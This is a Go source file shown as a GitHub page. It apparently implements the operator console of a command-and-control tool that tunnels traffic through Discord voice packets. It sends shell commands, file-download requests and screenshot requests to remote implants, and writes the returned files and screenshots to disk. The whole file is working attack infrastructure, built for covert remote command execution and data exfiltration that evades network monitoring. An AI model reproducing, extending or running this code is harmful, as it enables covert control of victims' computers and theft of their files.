-
Notifications
You must be signed in to change notification settings - Fork 10
/
server.go
160 lines (147 loc) · 3.57 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
package main
import (
"bufio"
"bytes"
"fmt"
"github.com/bwmarrin/discordgo"
"os"
"strings"
)
var (
Token = "" //Bot Token
ChannelID = "" //Voice Channel ID
GuildID = "" //Server ID
buffer = make([][]byte, 0)
buffer_new = make([][]byte, 0)
info string
delimiter_data = "|||"
chunks = make([][]byte, 0)
tmp = make([][]byte, 0)
prompt = "cmd> "
cmd string
)
func handleVoice(c chan *discordgo.Packet) {
for p := range c {
data := strings.Split(string(p.Opus), "|||")
raw_data := data[1]
if data[0] == "Run-Command" {
fmt.Println("\n" + raw_data)
fmt.Print(prompt)
} else if data[0] == "Download" {
f, _ := os.OpenFile(raw_data, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
f.WriteString(data[2])
f.Close()
fmt.Print(".")
} else if data[0] == "Screenshot" {
f, _ := os.OpenFile(raw_data, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
f.WriteString(data[2])
f.Close()
fmt.Print(".")
}
}
}
func playSound(s *discordgo.VoiceConnection, mode string) {
s.Speaking(true)
i := 0
for _, h := range chunks {
//hacky way to get cmd data from buffer
tmp = append(tmp, h)
for _, chunk := range tmp {
i++
size := [][]byte{[]byte((mode + delimiter_data))}
size_new := bytes.Join(size, nil)
size_chunk := chunk_buffer(size_new, 990)
new_chunk := append(size_chunk, chunk)
a := bytes.Join(new_chunk, nil)
s.OpusSend <- a
tmp = make([][]byte, 0)
}
}
s.Speaking(false)
}
func chunk_buffer(buf []byte, lim int) [][]byte {
var chunk []byte
chunks := make([][]byte, 0, len(buf)/lim+1)
for len(buf) >= lim {
chunk, buf = buf[:lim], buf[lim:]
chunks = append(chunks, chunk)
}
if len(buf) > 0 {
chunks = append(chunks, buf[:len(buf)])
}
return chunks
}
func main() {
//auth bot
s, err := discordgo.New("Bot " + Token)
if err != nil {
fmt.Println("error creating Discord session:", err)
return
}
defer s.Close()
//create intents
s.Identify.Intents = discordgo.IntentsGuilds | discordgo.IntentsGuildMessages | discordgo.IntentsGuildVoiceStates
err = s.Open()
if err != nil {
fmt.Println("error opening connection:", err)
return
}
//join c2 channel voice chat
v, err := s.ChannelVoiceJoin(GuildID, ChannelID, true, false)
if err != nil {
fmt.Println("failed to join voice channel:", err)
return
}
//handle incoming data
go handleVoice(v.OpusRecv)
fmt.Println("[+] Listening...\n")
fmt.Print(prompt)
for {
var cmd string
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
cmd = scanner.Text()
}
if cmd == "" {
fmt.Print(prompt)
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
cmd = scanner.Text()
}
} else if cmd == "download" {
prompt = "download file path>"
fmt.Print(prompt)
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
cmd = scanner.Text()
}
go func() {
buffer = append(buffer, []byte(cmd))
result := bytes.Join(buffer, nil)
chunks = chunk_buffer(result, 990)
playSound(v, "Download")
buffer = make([][]byte, 0)
}()
prompt = "cmd>"
} else if cmd == "screenshot" {
prompt = "screenshotting..."
fmt.Print(prompt)
go func() {
buffer = append(buffer, []byte(cmd))
result := bytes.Join(buffer, nil)
chunks = chunk_buffer(result, 990)
playSound(v, "Screenshot")
buffer = make([][]byte, 0)
}()
prompt = "cmd>"
} else {
go func() {
buffer = append(buffer, []byte(cmd))
result := bytes.Join(buffer, nil)
chunks = chunk_buffer(result, 990)
playSound(v, "Run-Command")
buffer = make([][]byte, 0)
}()
}
}
}